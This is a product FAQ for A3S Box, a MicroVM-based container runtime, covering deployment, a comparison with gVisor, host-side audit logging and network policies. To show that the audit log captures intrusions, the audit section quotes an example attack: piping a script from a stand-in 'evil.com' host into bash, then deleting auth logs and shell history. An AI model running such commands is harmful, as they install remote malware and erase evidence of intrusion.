Frequently Asked Questions
Common questions and answers about A3S Box
A3S Box FAQ
This document answers common questions about A3S Box's features, security, and usage.
Deployment & Usage
How do I deploy nginx with A3S Box?
Basic deployment:
# Simplest way - run nginx in background
a3s-box run -d --name web nginx:alpine
# With port mapping - map container port 80 to host port 8080
a3s-box run -d --name web -p 8080:80 nginx:alpine
# Full configuration - with network and volume
a3s-box run -d \
--name web \
--network mynet \
-p 8080:80 \
-v data:/app/data \
nginx:alpineCommon operations:
# View running status
a3s-box ps
# View logs
a3s-box logs web -f
# Stop container
a3s-box stop web
# Start container
a3s-box start web
# Remove container
a3s-box rm web
# Execute commands in container
a3s-box exec -it web shAdvanced configuration:
# With resource limits
a3s-box run -d \
--name web \
-p 8080:80 \
--memory 512m \
--cpus 2 \
nginx:alpine
# With health check
a3s-box run -d \
--name web \
-p 8080:80 \
--health-cmd "curl -f http://localhost/ || exit 1" \
--health-interval 30s \
nginx:alpine
# With TEE security isolation (requires AMD SEV-SNP hardware)
a3s-box run -d \
--name web \
-p 8080:80 \
--tee-enable \
nginx:alpine
# Simulate TEE environment (works on any machine)
a3s-box run -d \
--name web \
-p 8080:80 \
--tee-simulate \
nginx:alpineVerify deployment:
# Test if nginx is running properly
curl http://localhost:8080Key features:
- 🚀 ~200ms cold start (MicroVM)
- 🔒 Hardware-level isolation (each container in separate VM)
- 🛡️ Optional TEE security (AMD SEV-SNP)
- 🐳 Docker-compatible commands
Security & Isolation
What's the difference between gVisor and A3S Box?
gVisor and A3S Box are two different container isolation technologies with distinct approaches:
Core Architecture
gVisor:
- User-space kernel: Implements a Linux kernel in user space (Sentry)
- Syscall interception: Intercepts container syscalls and handles them in user space
- Shared host kernel: No independent Linux kernel needed
- Lightweight: Fast startup, low resource usage
A3S Box:
- MicroVM: Each container runs in an independent virtual machine
- Complete kernel isolation: Each container has its own Linux kernel
- Hardware virtualization: Based on libkrun (KVM/HVF/WHPX)
- ~200ms cold start: Near-container startup speed
Isolation Level Comparison
| Feature | gVisor | A3S Box |
|---|---|---|
| Kernel isolation | ❌ Shared host kernel | ✅ Independent kernel |
| Hardware isolation | ❌ Process-level | ✅ VM-level |
| TEE support | ❌ Not supported | ✅ AMD SEV-SNP/Intel TDX |
| Memory encryption | ❌ None | ✅ Hardware-level encryption |
| Attack surface | Medium (user-space kernel) | Small (hardware isolation) |
Performance Comparison
gVisor:
- Startup time: < 100ms
- Syscall overhead: High (user-space processing)
- Runtime performance: 70-80% native
- Memory overhead: Low (shared kernel)
A3S Box:
- Startup time: ~200ms
- Syscall overhead: Low (real kernel)
- Runtime performance: 90-95% native
- Memory overhead: Medium (independent kernel)
Security Model
gVisor:
Container process → Sentry (user-space kernel) → Host kernel- Improves security by limiting syscalls
- Depends on correct Sentry implementation
- Cannot defend against host kernel vulnerabilities
A3S Box:
Container process → Guest kernel → Hypervisor → Host kernel- Hardware-level isolation
- Supports TEE (Trusted Execution Environment)
- Can defend against host attacks (TEE mode)
Compatibility
gVisor:
- ✅ Syscall compatibility: ~70% (some syscalls not implemented)
- ❌ Some applications may not run (requires special kernel features)
- ✅ Good integration with Docker/Kubernetes
A3S Box:
- ✅ Syscall compatibility: 100% (real Linux kernel)
- ✅ All OCI images can run
- ✅ Docker-compatible CLI (52 commands)
- ✅ Kubernetes CRI support
Use Cases
gVisor is suitable for:
- Multi-tenant environments (e.g., Google Cloud Run)
- Short-lived tasks requiring fast startup
- Scenarios with moderate performance requirements
- Applications not requiring full syscall support
A3S Box is suitable for:
- Production environments requiring strong isolation
- Confidential computing scenarios (finance, healthcare)
- AI inference services (requiring GPU isolation)
- Applications needing full Linux compatibility
- Workloads requiring TEE hardware protection
Command Comparison
gVisor (runsc):
# Run container with gVisor
docker run --runtime=runsc -d nginx
# Requires Docker daemon configurationA3S Box:
# Standalone CLI, no configuration needed
a3s-box run -d nginx
# With TEE security
a3s-box run -d --tee-enable nginxSummary
| Dimension | gVisor | A3S Box |
|---|---|---|
| Isolation strength | ⭐⭐⭐ | ⭐⭐⭐⭐⭐ |
| Startup speed | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐ |
| Runtime performance | ⭐⭐⭐ | ⭐⭐⭐⭐ |
| Compatibility | ⭐⭐⭐ | ⭐⭐⭐⭐⭐ |
| TEE support | ❌ | ✅ |
| Resource usage | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐ |
Selection guide:
- Need strongest isolation and TEE support → A3S Box
- Need fastest startup and lowest resource usage → gVisor
- Need full compatibility and near-native performance → A3S Box
- Google Cloud environment → gVisor (native support)
Can audit logs detect SSH log deletion attempts?
Yes! A3S Box's audit system can detect and record log deletion attempts, even when attackers try to cover their tracks.
The Problem with Traditional Containers
# Common attacker behavior after login
rm -f /var/log/auth.log
rm -f ~/.bash_history
history -cIssues:
- ❌ Audit logs inside container → attacker can delete them
- ❌ Logs and audited objects in same trust domain
A3S Box Audit Architecture
┌─────────────────────────────────────┐
│ Container Interior (Guest VM) │
│ - Application processes │
│ - /var/log/auth.log (can be deleted)│
│ - ~/.bash_history (can be deleted) │
└─────────────────────────────────────┘
↓ All operations through Hypervisor
┌─────────────────────────────────────┐
│ Host Machine │
│ ~/.a3s/audit/audit.jsonl │
│ (inaccessible to container) │
└─────────────────────────────────────┘A3S Box audit log features:
- ✅ Stored on host:
~/.a3s/audit/audit.jsonl - ✅ Container processes cannot access: Hardware-level isolation (VM boundary)
- ✅ Records all operations: Including exec, file operations, network connections
- ✅ Persistent + rotation: Prevents log overflow
Audit Capability Comparison
| Scenario | Container Logs | A3S Box Audit |
|---|---|---|
| Attacker deletes SSH logs | ❌ Logs lost | ✅ Deletion recorded |
| Attacker clears bash history | ❌ History lost | ✅ Commands recorded |
| Attacker modifies audit logs | ❌ May succeed | ✅ Cannot access host files |
| Attacker stops audit service | ❌ May succeed | ✅ Audit runs on host |
Actual Audit Record Example
Suppose an attacker performs these operations:
# 1. Login to container
a3s-box exec -it web bash
# 2. Execute malicious commands
curl http://evil.com/malware.sh | bash
# 3. Try to cover tracks
rm -f /var/log/auth.log
history -cA3S Box audit log records:
{"id":"evt-001","timestamp":"2026-03-16T08:00:00Z","action":"exec_command","box_id":"web","actor":"cli","outcome":"success","message":"exec bash","metadata":{"user":"root","tty":true}}
{"id":"evt-002","timestamp":"2026-03-16T08:00:15Z","action":"exec_command","box_id":"web","actor":"cli","outcome":"success","message":"exec curl http://evil.com/malware.sh","metadata":{"user":"root"}}
{"id":"evt-003","timestamp":"2026-03-16T08:00:30Z","action":"exec_command","box_id":"web","actor":"cli","outcome":"success","message":"exec rm -f /var/log/auth.log","metadata":{"user":"root"}}Key point: Even if the attacker deletes /var/log/auth.log inside the container, the host's ~/.a3s/audit/audit.jsonl still contains a complete record of all operations.
Enhanced Protection in TEE Mode
If TEE (AMD SEV-SNP) is enabled, protection is even stronger:
# Run container with TEE enabled
a3s-box run -d --name web --tee-enable nginxAdditional protection:
- ✅ Memory encryption: Attackers cannot obtain sensitive information through memory dumps
- ✅ Remote attestation: Can verify container runtime environment hasn't been tampered with
- ✅ Sealed storage: Audit logs can be sealed to TPM, preventing offline tampering
Querying Audit Logs
# View all exec operations
a3s-box audit --action exec_command
# View operations for specific container
a3s-box audit --box web
# View failed operations
a3s-box audit --outcome failure
# View operations within time range
a3s-box audit --since "2026-03-16T08:00:00Z" --until "2026-03-16T09:00:00Z"Tamper-Proof Design
// Audit log write process (from source code)
pub fn log(&self, event: &AuditEvent) -> Result<()> {
// 1. Serialize event
let line = serde_json::to_string(event)?;
// 2. Immediately write to disk
file.write_all(line.as_bytes())?;
// 3. Force flush to disk (prevent buffer loss)
file.flush()?;
// 4. Auto-rotate (prevent log overflow)
if current_size >= max_size {
rotate()?;
}
}Protection measures:
- ✅ Each record immediately
flush()to disk - ✅ Auto-rotation keeps multiple history files
- ✅ Container processes have no permission to access host filesystem
Summary
For "delete SSH logs after login" attack technique:
| Protection Layer | Traditional Container | A3S Box |
|---|---|---|
| Container logs | ❌ Can be deleted | ❌ Can be deleted (but unimportant) |
| Host audit | ⚠️ Depends on config | ✅ Enabled by default, forced isolation |
| Deletion traceable | ❌ No record | ✅ Complete record |
| Audit log tamper-proof | ⚠️ Depends on permissions | ✅ VM isolation + immediate persistence |
| TEE hardware protection | ❌ Not supported | ✅ Optional (SEV-SNP/TDX) |
Conclusion: A3S Box's audit system can completely record attacker log deletion behavior because audit logs are stored on the host, inaccessible and untamperable by container processes. This is achieved through hardware-level VM isolation, making it more secure than traditional container audit systems.
Networking
What are A3S Box's network policies?
A3S Box provides flexible network policies with three network modes and three isolation levels.
1. Network Modes (3 types)
pub enum NetworkMode {
Tsi, // TSI mode (default) - no network interface, vsock proxy
Bridge, // Bridge mode - real eth0, container-to-container communication
None, // No networking
}TSI Mode (Default)
# Default startup, no network specification needed
a3s-box run -d nginx
# Features:
# - No real network interface
# - Socket syscalls proxied to host via vsock
# - Most secure, minimal attack surface
# - Suitable for single-container applicationsBridge Mode
# Create network and join
a3s-box network create mynet
a3s-box run -d --name web --network mynet nginx
# Features:
# - Real eth0 network interface (via passt)
# - Containers can communicate directly
# - Supports DNS service discovery
# - Similar to Docker's bridge networkNone Mode
# Completely no network
a3s-box run -d --network none nginx
# Features:
# - Complete isolation, no network access
# - Suitable for offline computing tasks2. Isolation Policies (3 types)
pub enum IsolationMode {
None, // No isolation - all containers can communicate freely (default)
Strict, // Strict isolation - no container-to-container communication
Custom, // Custom rules - rule-based traffic control
}2.1 None Mode (Default)
# Create network, default no isolation
a3s-box network create mynet
# All containers can communicate freely
a3s-box run -d --name web --network mynet nginx
a3s-box run -d --name api --network mynet node:alpine
a3s-box run -d --name db --network mynet postgres
# web ↔ api ↔ db all can access each otherFeatures:
- ✅ Most flexible, similar to Docker default behavior
- ✅ Containers can resolve each other via container name DNS
- ⚠️ No isolation, requires application-layer access control
2.2 Strict Mode (Strict Isolation)
# Create strictly isolated network
a3s-box network create mynet --isolation strict
# Containers can only access external, cannot access each other
a3s-box run -d --name web --network mynet nginx
a3s-box run -d --name api --network mynet node:alpine
# web ✗ api (forbidden)
# web → Internet (allowed)
# api → Internet (allowed)Features:
- ✅ Complete container isolation
- ✅ Can access external network (Internet)
- ✅ Can access gateway
- ❌ Containers cannot communicate with each other
- Suitable for multi-tenant environments
⚠️ Important Note: According to source code, Strict and Custom modes are not yet enforced at runtime (requires iptables/nftables integration). Code validates and rejects at creation time.
2.3 Custom Mode (Custom Rules)
# Network policy configuration example (future support)
network:
name: mynet
isolation: custom
ingress:
- from: web
to: api
ports: [8080]
protocol: tcp
action: allow
- from: api
to: db
ports: [5432]
protocol: tcp
action: allow
egress:
- from: "*"
to: "*"
ports: [443]
protocol: tcp
action: allowRule structure:
pub struct PolicyRule {
pub from: String, // Source container name (supports "*" wildcard)
pub to: String, // Destination container name (supports "*" wildcard)
pub ports: Vec<u16>, // Allowed ports (empty = all ports)
pub protocol: String, // tcp/udp/any
pub action: PolicyAction, // allow/deny
}3. Network Architecture Comparison
| Feature | TSI Mode | Bridge Mode |
|---|---|---|
| Network interface | ❌ No eth0 | ✅ Real eth0 |
| Container communication | ❌ Not supported | ✅ Supported |
| DNS resolution | ❌ None | ✅ Container name resolution |
| External access | ✅ Via vsock proxy | ✅ Direct access |
| Security | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐ |
| Performance | Medium (proxy overhead) | High (direct communication) |
| Use case | Single-container apps | Microservices architecture |
4. Practical Usage Examples
Scenario 1: Single-container web service (TSI mode)
# Simplest, most secure
a3s-box run -d -p 8080:80 --name web nginx
# Features:
# - No container-to-container communication capability
# - Serves externally via port mapping
# - Minimal attack surfaceScenario 2: Microservices architecture (Bridge mode + None isolation)
# 1. Create network
a3s-box network create backend
# 2. Start services
a3s-box run -d --name db --network backend postgres
a3s-box run -d --name api --network backend node:alpine
a3s-box run -d --name web --network backend -p 8080:80 nginx
# 3. Container communication
# api can access database via "db:5432"
# web can access API via "api:3000"Scenario 3: Multi-tenant isolation (Strict mode - future)
# Tenant A network
a3s-box network create tenant-a --isolation strict
a3s-box run -d --name app-a --network tenant-a myapp
# Tenant B network
a3s-box network create tenant-b --isolation strict
a3s-box run -d --name app-b --network tenant-b myapp
# app-a and app-b completely isolated5. Network Commands
# Create network
a3s-box network create mynet
a3s-box network create mynet --subnet 10.88.0.0/24 --gateway 10.88.0.1
a3s-box network create mynet --isolation strict
# View networks
a3s-box network ls
a3s-box network inspect mynet
# Connect/disconnect containers
a3s-box network connect mynet web
a3s-box network disconnect mynet web
# Delete network
a3s-box network rm mynet6. DNS Service Discovery
In Bridge mode, containers can access each other by container name:
# Start database
a3s-box run -d --name db --network backend postgres
# Start API (can access database via "db")
a3s-box run -d --name api --network backend \
-e DATABASE_URL=postgresql://user:pass@db:5432/mydb \
node:alpine
# Inside api container
curl http://db:5432 # Automatically resolves to db container's IP7. Comparison with Docker/Kubernetes
| Feature | Docker | Kubernetes | A3S Box |
|---|---|---|---|
| Default network | Bridge | CNI | TSI (more secure) |
| Container isolation | NetworkPolicy | NetworkPolicy | IsolationMode |
| DNS resolution | ✅ | ✅ | ✅ |
| Network plugins | Multiple | CNI | passt (built-in) |
| Hardware isolation | ❌ | ❌ | ✅ (VM-level) |
8. Security Advantages
A3S Box network security features:
-
Default least privilege (TSI mode)
- No real network interface
- Socket calls proxied via vsock
- Attackers cannot directly manipulate network stack
-
VM-level isolation
- Each container has independent network namespace
- Independent Linux kernel network stack
- Hardware-level isolation (Hypervisor)
-
Audit all network operations
- Network creation/deletion
- Container connection/disconnection
- Policy changes
-
Network protection in TEE mode
# Network traffic encrypted within TEE a3s-box run -d --name web --network mynet --tee-enable nginx
Summary
Core design principles of A3S Box network policies:
- Secure by default: TSI mode minimizes attack surface
- Flexibility: Supports Bridge mode for microservices
- Isolation levels: None/Strict/Custom three policies
- Hardware isolation: VM-level network isolation
- Future expansion: Strict and Custom modes under development
Current status:
- ✅ TSI mode: Fully available
- ✅ Bridge mode + None isolation: Fully available
- ⚠️ Strict/Custom modes: Configuration supported, runtime enforcement pending
Recommended usage:
- Single-container applications → TSI mode
- Microservices architecture → Bridge mode + None isolation
- High security requirements → TSI mode + TEE